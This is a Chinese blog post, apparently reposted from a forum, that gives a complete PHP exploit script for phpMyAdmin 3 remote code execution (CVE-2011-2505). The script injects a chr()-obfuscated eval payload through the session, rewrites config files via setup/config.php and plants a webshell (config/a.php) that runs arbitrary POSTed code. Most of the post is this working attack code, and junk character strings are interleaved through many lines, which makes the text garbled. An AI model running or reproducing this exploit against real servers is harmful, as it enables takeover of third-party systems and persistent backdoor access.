phpadmin3 remote code execute php版本exploit

admin

最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。
' i. X8 @* g& t8 {9 y; ?$ {& G: B$ U
昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。

8 ~. `( M5 @0 u. G% s首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
) ~% z4 z5 c: E- i一是session.auto_start = 1；
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
4 [3 t7 H! O1 A/ g当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。
8 L" o" T" c- Q/ }
! m' u5 [1 A( f( ^1 b0 a在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
/ r9 o3 I4 {- G( p' A
9 ]$ o" D4 G2 @/ k/ `于是写了这个php版本的exp，代码如下：

#!/usr/bin/php
<?php
print_r('
+ S, Z1 Z$ h# F* h3 r) |" B+---------------------------------------------------------------------------+
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
  }3 t% k" v& g2 Dby oldjun(www.oldjun.com)
: o2 a! _# t/ Mwelcome to www.t00ls.net
mail: oldjun@gmail.com
/ v( b3 P/ P8 j9 m6 @( X1 B( wAssigned CVE id: CVE-2011-2505
+---------------------------------------------------------------------------+
');
5 E# w% ^) F5 d$ [3 I. W: B
/**
8 l. L! y8 ?4 ^4 F2 v7 ^5 W * working when the directory:"config" exists and is writeable.
  e6 L8 b3 S+ D6 g! t**/
, W' d* |# i9 Q9 K# [$ p8 g# U
+ C! i' q+ {. w7 ?6 O  D- h( zif ($argc < 3) {
4 \- V: ^1 j* D/ A1 a    print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
3 C6 I5 x$ W  s. ~host:      target server (ip/hostname)
* m9 `, `* Y, Dpath:      path to pma3
Example:
3 z5 s; r4 P' A  Q4 kphp '.$argv[0].' localhost /pma/
+---------------------------------------------------------------------------+
& x5 P) i/ x3 L! Z! G  O5 Z7 a');
    exit;
+ X8 O$ h1 J3 h  G9 y0 r}

$host = $argv[1];
$path = $argv[2];

) _' u. S, J' N; }5 N/ ~/**
* Try to determine if the directory:"config" exists
8 v7 V8 H% y  g% h( E$ v, E+ A; L**/
4 `4 f8 Z$ n. A+ [6 y  Eecho "[+] Try to determine if the directory:config exists....\n";
" f9 D0 A# Y/ m$returnstr=php_request('config/');
if(strpos($returnstr,'404')){
+ u  C6 ?7 x2 v! E$ R7 Z* i    exit("[-] Exploit Failed! The directory:config do not exists!\n");
}

% v7 l$ e: c. E9 Y  ?/**
! _9 t  o9 N, t" L3 X- |% \ * Try to get token and sessionid
6 {+ C) {( ~( Y5 H+ u3 z  ^**/
echo "[+] Try to get token and sessionid....\n";
$result=php_request('index.php');
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
$token=$resp[3];
$sessionid=$resp[1];
if($token && $sessionid){
    echo "[+] tokentoken\n";
: F1 ?5 p, @. n2 B, Y7 W. z+ D( r4 w    echo "[+] Session IDsessionid\n";
9 L+ e# R6 W$ F$ ?8 W$ k}else{
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
) c1 ]9 E3 D+ o& L9 s}
% V/ t0 v! r# W3 N3 R
/**
1 V  F1 k, B; @! A- ? * Try to insert shell into session
5 f. ?' X' t# w& x) U1 b**/
" K7 b/ g# N/ y4 q0 Z' Lecho "[+] Try to insert shell into session....\n";
2 f( Z2 m( ?/ a/ d" Zphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.

* C* B( ^- d; a' a$ ~# ^/**
: \2 a& s6 o; O# B * Try to create webshell
**/
echo "[+] Try to create webshell....\n";
, E8 i9 V" Y+ W! ~, i* W* S$ G0 Nphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
* [# t. R! g5 P/**
* Try to check if the webshell was created successfully
( ^6 c. z2 g7 v$ ^- J7 _! e6 K**/
6 T1 p/ G0 |. f: Jecho "[+] Try to check if the webshell was created successfully....\n";
" j- f  ]' ~7 h; d7 v- [* c$content=php_request('config/config.inc.php');
4 N. M8 {. v  |* Z$ [( bif(strpos($content,'t00ls')){
    echo "[+] Congratulations! Expoilt successfully....\n";
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
: F! y0 i6 Y7 P: u* A( U) s5 {}else{
* F$ s2 y/ v, O  e: ~    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
4 H( g8 _& o9 d" V% E' p. ?9 K+ `- n7 [}

: p& G' x0 |# z8 H5 j+ f# c8 |9 Afunction php_request($url,$data='',$cookie=''){
) u4 B5 {" f0 ^9 v+ V- Q' u- Y    global  $host, $path;
   
    $method=$data?'POST':'GET';
   
, F# W; c2 ~' p- _! k" r    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
" e: h  v4 J6 V6 m3 O, H/ y: n    $packet .= "Accept: */*\r\n";
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
) K7 q* w$ h, H; @7 I    $packet .= "Host: $host\r\n";
( z: s- `" A4 ?; Y; m0 K6 \# j    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
9 n0 b$ d3 t* X2 {1 v. l    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
: Q7 |6 ~+ f; h) ^; O    $packet .= "Connection: Close\r\n\r\n";
( k0 I! }, K" o5 L/ V+ R    $packet .= $data?$data:"";
+ O5 V* [/ J3 _( e+ f& ?! U
    $fp = fsockopen(gethostbyname($host), 80);
    if (!$fp) {
    echo 'No response from '.$host; die;
    }
    fputs($fp, $packet);

7 ^% ?8 {- @# S, E- n6 s+ D    $resp = '';

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);
; k% w  c/ V) m7 i8 ~* T8 D  G
    return $resp;
* k( N4 v2 l6 _7 I' Q) _1 `}
7 R& m" X1 @8 n6 R6 [. U   
?>
.